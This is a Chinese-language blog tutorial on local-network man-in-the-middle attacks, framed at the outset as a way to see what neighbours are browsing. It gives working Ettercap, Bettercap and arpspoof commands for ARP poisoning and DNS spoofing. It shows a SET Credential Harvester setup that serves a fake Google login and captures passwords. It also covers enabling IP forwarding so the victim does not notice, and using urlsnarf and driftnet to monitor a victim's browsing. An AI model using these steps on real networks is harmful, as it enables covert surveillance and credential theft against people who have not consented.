本文目錄:
- 事情起因
- DNS 欺騙
- 原理
- 實戰
- 用 Ettercap 實現惡搞
- 用 SET+Ettercap 實現釣魚
- Bettercap
- Cain & Abel
- ARP 欺騙
- 原理
- 實戰
- arpspoof
- ettercap
- bettercap
- Cain & Abel
事情起因#
為了查看隔壁妹子或者兄 dei 在看啥,或者是提醒隔壁小聲一點
參考文章:
- 新手滲透測試訓練營 —— 欺騙與嗅探
- 技術討論 | 利用 SET 和 Ettercap 實現內網釣魚獲取帳號密碼
- 揭秘 Bettercap,教你如何使用這款中間人工具!
- 使用 Bettercap-2.6 進行 ARP 欺騙嘗試
- 內網環境實驗學習筆記
#
- Kali:192.168.1.107,用來攻擊
- Win7:192.168.1.106,用來被攻擊
兩台機子都是通過橋接網卡上網
使用工具:
- Ettercap
- Bettercap
Dsniff
工具套件中的arpspoof
和driftnet
DNS 欺騙#
原理#
- DNS (域名系統) 是什麼?
域名系統(英文:Domain Name System,縮寫:DNS)是互聯網的一項服務。它作為將域名和 IP 地址相互映射的一個分佈式數據庫,能夠使人更方便地訪問互聯網。
當我們訪問一個域名,比如soapffz.com
時,瀏覽器會去請求 DNS 伺服器,通過 DNS 伺服器獲取域名對應的 ip140.143.2.176
(我的伺服器 ip 開啟了防 ping 功能)
- DNS 欺騙是什麼?
DNS 欺騙就是攻擊者冒充域名伺服器的一種欺騙行為。 原理:如果可以冒充域名伺服器,然後把查詢的 IP 地址設為攻擊者的 IP 地址,這樣的話,使用者上網就只能看到攻擊者的首頁,而不是使用者想要取得的網站的首頁了,這就是 DNS 欺騙的基本原理。DNS 欺騙其實並不是真的 “黑掉” 了對方的網站,而是冒名頂替、招搖撞騙罷了。
- 所以我們經常聽到的運營商的 DNS 劫持,就是運營商修改了你的網絡的默認 DNS 伺服器中的網址對應的 ip 地址,就會出現彈窗廣告等現象,我們阻止運營商 DNS 劫持的有效辦法:修改自己的 DNS 伺服器為公共 DNS 地址,如 114.114.114.114 等
關於 DNS 解析更詳細的內容可參考:理解 DNS 記錄以及在滲透測試中的簡單應用
那麼我們可以用 DNS 欺騙來實現什麼功能呢:惡搞或者釣魚
實戰#
在 Linux 下實現 DNS 欺騙可用Ettercap
(其實也用到了一部分 arp 欺騙),可配合SET
進行釣魚,也可使用bettercap
在 Windows 下可使用Cain & Abel
用 Ettercap 實現惡搞#
首先我們使用強大的中間人攻擊工具:Ettercap
1. 編輯 ettercap 的 dns 文件:
vim /etc/ettercap/etter.dns
如果是惡搞,不想讓對方訪問任何界面,那就讓所有網址都指向一個 ip,我們這裡為了起到善意的提醒作用,讓所有的 ip 指向我的電腦:
2. 開一個 apache2 服務
把 apache 默認配置界面:/var/www/html/index.html
備份之後
把裡面的內容替換為自己的內容:
<HTML>
<HEAD>
<meta http-equiv="content-type" content="txt/html; charset=utf-8" />
<TITLE>大兄dei你好呀</TITLE>
<BODY>
<p>是不是很驚喜呀!</p>
<p>我就是過來和你打個招呼</p>
<p>沒有惡意</p>
<p>有空一起撸啊撸啊</p>
<p>我的網站:https://soapffz.com/</p>
</BODY>
</HEAD>
</HTML>
然後重啟 apache2 服務,打開看一眼是不是我們的界面:
OK,沒毛病
3. 開始欺騙
我們先使用圖形化界面:ettercap -G
,選擇 Unified sniffing 以中間人的方式進行嗅探:
選擇自己對應的網卡進入,然後我們對局域網進行掃描,通過 Host list 打開主機名單:
將網關添加到目標 1,將攻擊目標添加到目標 2:
接下來在 Mitm(中間人攻擊)中選擇 ARP poisoning(arp 欺騙):
勾選遠程嗅探鏈接,確定:
在插件中選擇 dns_spoof:
雙擊,然後前面會出現一個 * 號,最後點擊 Start sniffing,開始我們的 dns 欺騙攻擊:
這樣我們的攻擊目標打開所有網頁時都會顯示我們自定義的頁面:
但是這樣的攻擊也有弊端,比如我們不能欺騙 https 協議的網址還有容易暴露我們的 ip:
我們也可以用命令來操作 ettercap:開啟 IP 轉發,設計欺騙網頁等步驟和圖形界面是一樣的。但是借助命令行,只需要一條命令,就可以執行上述複雜的操作過程:
ettercap -TqM ARP:remote -P dns_spoof /192.168.1.1// /192.168.1.107//
參數解釋:
- -i:指定網卡,一般默認為 eth0
- -T:僅使用文本 GUI
- -q:啟動安靜模式(不回顯的意思)
- -M:執行中間人攻擊
- ARP:使用遠程嗅探
- -P:指定插件
- 後面的兩個位置,第一個為目標 1,第二個為目標 2,都使用 /// 包括著
上面介紹的惡搞的部分,那麼如何實現釣魚呢,只需要在 /etc/ettercap/etter.dns 文件中把受害者可能訪問的網頁的 ip 地址設置為你的即可
那麼我們還需要自己寫一個 google 界面或者百度界面,顯得很麻煩
用 SET+Ettercap 實現釣魚#
當然這裡只是講到 Ettercap 用這個例子,還有其他強大的釣魚工具例如:BlackEye
此處我們引入社會工程學工具集:Social-Engineer Toolkit,後面簡稱 SET
它和 Kali 應用程序收藏中的Social Engineering Tools
不是同一個東西哦:
顧名思義,SET 主要用來進行社工攻擊,包括釣魚網站,無線 AP 攻擊,QRCode 攻擊等等。
在本次實驗中,SET 主要用來搭建釣魚網站,以及監聽 HTTP 請求中發送的帳號密碼。
其他的使用方法可參考文章:社會工程學工具集 Social-Engineer Toolkit 基礎使用教程
使用setoolkit
命令進入,以下開始偷懶,都是複製這篇文章的
Select from the menu:
1) Social-Engineering Attacks // 選擇1,社會工程學攻擊
2) Penetration Testing (Fast-Track)
3) Third Party Modules
4) Update the Social-Engineer Toolkit
5) Update SET configuration
6) Help, Credits, and About
......
99) Exit the Social-Engineer Toolkit
首先,選擇菜單中第一個選項,社會工程學攻擊。
1) Spear-Phishing Attack Vectors
2) Website Attack Vectors // 選擇2,網站攻擊
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector
9) Powershell Attack Vectors
10) SMS Spoofing Attack Vector
11) Third Party Modules
然後,選擇菜單中第二個選項,網站攻擊。
1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method // 選擇3,竊取憑證
4) Tabnabbing Attack Method
5) Web Jacking Attack Method
6) Multi-Attack Web Method
7) Full Screen Attack Method
8) HTA Attack Method
選擇第三個選項,竊取憑證。
1) Web Templates // 使用預定義的網站模板
2) Site Cloner // 克隆網頁
3) Custom Import // 從指定目錄導入網站
在此,為了方便,我們直接選擇 1,使用 SET 中內置的網站模板來進行實驗。
set:webattack> IP address for the POST back in Harvester/Tabnabbing [192.168.1.107]:
此處注意了,它這裡會使用你的默認 ip,也就是你的第一個 ip:
如果你使用的是雙網卡,你想滲透其他內網網段的主機,可以先回車,回車後看到了提示:
新建一個終端,編輯下/etc/setoolkit/set.config
這個文件,把網卡改一下就 OK 了:
選擇 2,使用 Google 登錄頁面作為釣魚網站:
當出現
[*] Harvester is ready, have victim browse to your site.
這一行的時候表示就可以開始釣魚了,此時在受害者的電腦上打開我們攻擊機的 ip 就是我們的釣魚 google 界面:
同時,SET 的控制台打印出來一條訪問請求記錄:
但是,我們這個也太明顯了吧,誰不知道 192.168.* 是內網 ip,所以我們配合 Ettercap 一起使用:
將以下內容添加到/etc/ettercap/etter.dns
中
google.com A 192.168.1.107
*.google.com A 192.168.1.107
www.google.com PTR 192.168.1.107
然後執行 ettercap:
ettercap -TqM ARP -P dns_spoof /192.168.1.106///
具體的參數前面都解釋過了,然後用受害者機器訪問google.com
:
可以看到打開的是我們的釣魚界面,然後我們登錄一下:
可以看到我們的 Ettercap 和 SET 都得到了帳戶名和密碼!釣魚成功
但是存在以下不足:
1. 未考慮 HTTPS 的情況,HTTPS 的訪問不會轉發到目標 IP。
2. 釣魚網頁的點擊登錄後,應該跳轉到正常的網站首頁,而不是仍停留在登錄頁面。
BetterCap#
中間人攻擊最知名的莫過於 ettercap,而開發 bettercap 的目的不是為了追趕它,而是替代它,原因如下:
- ettercap 很成功,但在新時代下它已經老了
- ettercap 的過濾器複雜,使用門檻高
- 在大型網絡下,主機發現功能效果很差
- 優化不夠,對研究人員來說,無用的功能太多
- 擴展性不夠,開發需要掌握 C/C++ 語言
Bettercap 的更新頻率還是比較高的,新版的 bettercap 採用類 msf 的嵌入式終端界面,這種終端界面給人一種沉浸式的體驗,但是也存在一些問題,比如輸入和輸出混在一起的問題以及行標刷新的問題
這版 bettercap 的功能可以說是極大的豐富了,從原來的一個單純的網絡分析器真正的向所有的 “cap” 過渡了,不但支持以前的內網 arp 和 dns 欺騙,還提供了低功耗藍牙 (BLE)、GPS 的嗅探以及給網絡內指定 MAC 的設備發送遠程喚醒信號 (Wake On LAN) 等功能,可以說已經非常強大了
下載地址 (有 win 版):https://github.com/bettercap/bettercap/releases/latest
Kali 沒有自帶:apt-get install bettercap -y
先看一下有哪些基本參數:bettercap -h
參數解釋:
參數 | 含義 |
---|---|
-autostart string | 使用逗號分割自動啟動需要的模塊 |
-caplet string | 從文件中讀取命令並在交互式會話中執行 |
-cpu-profile file | 寫 cpu 配置文件。 |
-debug | 打印調試消息。 |
-env-file string | 加載環境變量文件 |
-eval string | 运行一个或多个以;分隔的命令;在交互式会话中,用于通过命令行设置变量。 |
-gateway-override string | 使用提供的 IP 地址而不是默認網關。如果未指定或無效,將使用默認網關。 |
-iface string | 要綁定的網絡接口,如果為空,將自動選擇默認接口。 |
-mem-profile file | 將內存配置文件寫入文件。 |
-no-colors | 禁用輸出顏色效果。 |
-no-history | 禁用交互式會話歷史文件。 |
-silent | 禁止所有非錯誤的日誌。 |
那麼我們用bettercap
打開看一下:
打開之後則會自動開始探測當前網段內主機,輸入 help , 可以看到許多設置選項:
以下為參數解釋:
|:-----:|:-----:|
|help MODULE | 如果未提供模塊名稱,則列出可用命令或顯示模塊特定幫助。|
|active | 顯示有關活動模塊的信息。|
|quit | 關閉會話並退出。|
|sleep SECONDS | 睡眠給定的秒數。|
|get NAME | 獲取變量 NAME 的值,單獨使用 *,或使用 NAME * 作為通配符。|
|set NAME VALUE | 設置變量 NAME 的 VALUE。|
|read VARIABLE PROMPT | 顯示 PROMPT 以詢問用戶輸入將保存在 VARIABLE 中的輸入。|
|clear | 清除屏幕。|
|include CAPLET | 在當前會話中加載並運行此 caplet。|
|! COMMAND | 執行 shell 命令並打印其輸出。|
|alias MAC NAME | 給定其 MAC 地址為給定端點分配別名。|
模塊說明:
|:-----:|:-----:|
|any.proxy | 防火牆重定向到任意指定代理 |
|api.rest|RESTful API 模塊 |
|arp.spoof|arp 欺騙模塊 |
|ble.recon | 低功耗藍牙設備發現模塊 |
|caplets | 用於列出和更新 caplets 模塊 |
|dhcp6.spoof|dhcp6 欺騙模塊 (通過偽造 DHCP 數據包篡改客戶端的 DNS 伺服器,因此需要與 dns.spoof 一並啟用)|
|dns.spoof | 回應 dns 欺騙報文 |
|events.stream | 默認啟用此模塊,負責在交互式會話期間顯示時間流 |
|gps||
|http.proxy|HTTP 透明代理,可以使用 Javascript 模塊 |
|http.server|HTTP 伺服器 |
|https.proxy|HTTPS 透明代理 |
|https.server|HTTPS 伺服器 |
|mac.changer | 修改活躍接口的 mac 地址 |
|mysql.server||
|net.probe | 通過向子網內每個可能存在的 IP 發送 UDP 數據探測網絡中主機 |
|net.recon||
|net.sniff | 網絡嗅探模塊 |
|packet.proxy||
|syn.scan | 執行 syn 的端口掃描 |
|tcp.proxy||
|ticker||
|update||
|wifi|wifi 模塊,有 deauth 攻擊(wifi 殺手)和創建軟 ap 的功能 |
|wol||
每個模塊的詳細使用方法可參考這篇文章:https://blog.csdn.net/u012570105/article/details/80561778
Bettercap 實戰
在 Bettercap 中設置需要欺騙的網址和自己的惡意伺服器 IP:
set dns.spoof.domains *.baidu.com
set dns.spoof.address 1.1.1.1
dns.spoof on
Windows7 中設置 DNS 伺服器地址為自己的 IP 地址:
刷新 DNS 後通過 ping 命令 (此處 ping 不通我存有疑惑,ipv4 轉發是開啟的):
在我們的 Kali 端就能看到 DNS 請求信息:
Cain & Abel#
Cain & Abel 是由 Oxid.it 開發的一個針對 Microsoft 操作系統的免費口令恢復工具。號稱窮人使用的 L0phtcrack。它的功能十分強大,可以網絡嗅探,網絡欺騙,破解加密口令、解碼被打亂的口令、顯示口令框、顯示緩存口令和分析路由協議,甚至還可以監聽內網中他人使用 VOIP 撥打電話。
下載地址:http://www.oxid.it/cain.html,需要 [winpacp]40的支持,但是 winpacp 的下載界面上寫著這麼一句話:The WinPcap project has ceased development and WinPcap and WinDump are no longer maintained. We recommend using Npcap instead:WinPcap 項目已經停止開發,WinPcap 和 WinDump 也不再維護。我們建議使用 Npcap 代替。
所以我們直接去下載 npacp:https://nmap.org/npcap/,最新版的是 0.99-r9 版本,[點我下載]41
安裝的時候除了默認選項,多勾選最下面那個選項:Install Npcap in WinPacp API-compatible Mode 即可滿足 Cain & Abel 對 winpacp 的支持要求
Cain & Abel 主界面長這樣:
看一下 Tool 界面,看出來主要功能還是密碼破解:
ARP 欺騙#
原理#
arp
地址解析協議,即 ARP(Address Resolution Protocol),是根據 IP 地址獲取物理地址的一個 TCP/IP 協議。主機發送信息時將包含目標 IP 地址的 ARP 請求廣播到網絡上的所有主機,並接收返回消息,以此確定目標的物理地址;收到返回消息後將該 IP 地址和物理地址存入本機 ARP 緩存中並保留一定時間,下次請求時直接查詢 ARP 緩存以節約資源。
arp 欺騙
ARP 欺騙(英語:ARP spoofing),又稱 ARP 毒化(ARP poisoning,網上上多譯為 ARP 病毒)或 ARP 攻擊,是針對以太網地址解析協議(ARP)的一種攻擊技術,通過欺騙區域網內訪問者 PC 的網關 MAC 地址,使訪問者 PC 錯以為攻擊者更改後的 MAC 地址是網關的 MAC,導致網絡不通。此種攻擊可讓攻擊者獲取局域網上的數據包甚至可篡改數據包,且可讓網上上特定計算機或所有計算機無法正常連線。
實現#
在 Linux 下實現 arp 欺騙最經典的工具:arpspoof
(比較穩定),也可使用 ettercap 和 bettercap
在 Windows 下可使用
查看本機 arp 緩存表:
(通用)arp -a
:不過在 Linux 下執行較慢
(Linux)ip neigh show
:實現上是通過另一種系統調用 netlink 來獲取的
如果 arp 欺騙一直不成功,可使用arp -d
刪除 arp 緩存表 (需管理員權限)
arpspoof#
arpspoof 即可進行單向欺騙,也可進行雙向欺騙 (開兩個終端),一般參數如下:
arpspoof -i [網卡] -t [被欺騙主機] [自己想要偽裝的主機]
-i指定的是網卡,-t指定的是目標(target),如果不指定則對整個網段進行arp毒化
所以我們這裡想要欺騙 win7 (192.168.1.106) 我是網關 (192.168.1.1),並想要欺騙網關我是 win7,可以使用以下命令
arpspoof -i eth0 -t 192.168.1.106 192.168.1.1
arpspoof -i eth0 -t 192.168.1.1 192.168.1.106
我們先來看一下沒有進行 arp 欺騙之前 win7 的 arp 緩存表:
然後開啟欺騙:
再次查看 arp 緩存表:
發現原來網關的 mac 地址變得和 kali 的一樣了,那麼我們向網關發送的所有流量都會流經 kali,而 kali 也同時欺騙著網關自己是 win7,這樣 win7 能正常上網但它不知道所有流量都被窺視了。
但在這裡建議把 Linux 內核的流量轉發功能開啟,不然可能導致對方上不了網,引起對方的警覺:
sysctl net.ipv4.ip_forward
sysctl -w net.ipv4.ip_forward=1
ettercap#
前面已經介紹過詳細使用方法,此處直接給出命令:
ettercap -i eth0 -TqM ARP /192.168.1.106// ///
和上面起到的是一樣的效果
bettercap#
同樣我們使用bettercap
命令進入,執行以下命令:
net.sniff on
set arp.spoof.targets 192.168.1.106
(設定只針對一個或多個目標,不設定則針對整個網段開始欺騙)
arp.spoof on
此時就開始了 arp 欺騙,如果此時我們用 wireshark 等抓包工具去抓的話,會發現只抓得到 tcp 數據包,沒有 http/https 的數據包,可以通過命令http.proxy on
或者https.proxy on
開啟 http/https 代理
如果想開個窗口監視 http 的網頁瀏覽,可以使用 urlsnarf -i eth0
命令 (urlsnarf 命令需用在 arp 欺騙之後):
Driftnet 可用於過濾嗅探圖片,利用 driftnet 進行流量監控,顯示被害者瀏覽的圖片:driftnet -i eth0
:
而 driftnet 和 arpspoof 都屬於 Dsniff 工具套件